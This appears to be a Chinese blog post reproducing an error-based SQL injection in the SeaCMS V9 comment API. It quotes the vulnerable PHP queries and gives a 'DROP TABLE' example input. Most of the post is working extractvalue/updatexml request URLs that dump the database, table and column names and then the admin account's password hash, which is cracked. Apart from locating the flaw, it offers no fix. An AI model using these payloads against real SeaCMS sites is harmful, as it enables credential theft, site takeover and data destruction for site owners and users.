SeaCMS V9海洋影视管理系统报错注入

漏洞背景

SQL 注入攻击是当前网络安全中最常见的一种攻击方式,攻击者可以利用该漏洞访问或操作数据库,造成数据泄露或破坏。通常发生在开发人员未能正确处理用户输入时。

在 SeaCMS V9 中,用户输入(如登录、评论、分页、ID 等)未经过适当的验证和清理,直接嵌入到 SQL 查询中,导致了 SQL 注入攻击的发生。

漏洞位置

seacmsv9\comment\api\index.php

注入风险

Readmlist 函数中:

php 复制代码
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";

直接将 $type$id 的值嵌入到查询中。如果 $type$id 变量没有经过适当的验证或清理,可以通过修改这些参数来执行恶意的 SQL 查询,从而导致 SQL 注入攻击。例如:

1; DROP TABLE sea_comment; --

Readrlist 函数中:

php 复制代码
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

$ids 变量直接用于 SQL 查询,如果 $ids 是由用户输入的,并且没有经过验证或过滤,可以传递恶意的输入来执行 SQL 注入攻击。

注入:

报错数据库名:

php 复制代码
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`,extractvalue(1,concat_ws(0x7e,0x7e,database())),@`'`

报错表名:

php 复制代码
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

报错字段名:

php 复制代码
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%201,1))),%20@`%27`
php 复制代码
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%202,1))),%20@`%27`

报错数据:

http://seacmsv9:8015//comment/api/index.php?gid=1\&page=2\&type=1\&rlist\[\]=@\`'`, updatexml

(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`

无报错

原因是表sea_comment为空,无返回值

在表sea_comment插入数据,再次注入查看

php 复制代码
http://seacmsv9:8015//comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`

进行MD5解密就,账号密码都是admin

相关推荐
tan180°9 小时前
Linux网络HTTP(中)(8)
linux·网络·http
橘子海全栈攻城狮9 小时前
【源码+文档+调试讲解】基于SpringBoot + Vue的知识产权管理系统 041
java·vue.js·人工智能·spring boot·后端·安全·spring
锐策10 小时前
深入 RFC 793:TCP 报文头部、MSS 协商与三次握手 / 四次挥手全解析
网络·网络协议·tcp/ip
sln_155010 小时前
2025强网杯tradRE简单wp
安全·逆向·ctf
AORO202511 小时前
防爆手机是什么?2025年防爆手机哪个牌子好?
网络·5g·智能手机·制造·信息与通信
milanyangbo12 小时前
从C10K到Reactor:事件驱动,如何重塑高并发服务器的网络架构
服务器·网络·后端·架构
Code_Geo12 小时前
agent设计模式:第二章节—路由
网络·设计模式·路由
月球挖掘机12 小时前
华为USG防火墙之开局上网配置
服务器·网络
无敌最俊朗@13 小时前
VMware Ubuntu 虚拟机网络故障分析报告
服务器·网络·ubuntu
SRC_BLUE_1713 小时前
NSSCTF - Web | 【SWPUCTF 2021 新生赛】Do_you_know_http
网络·网络协议·http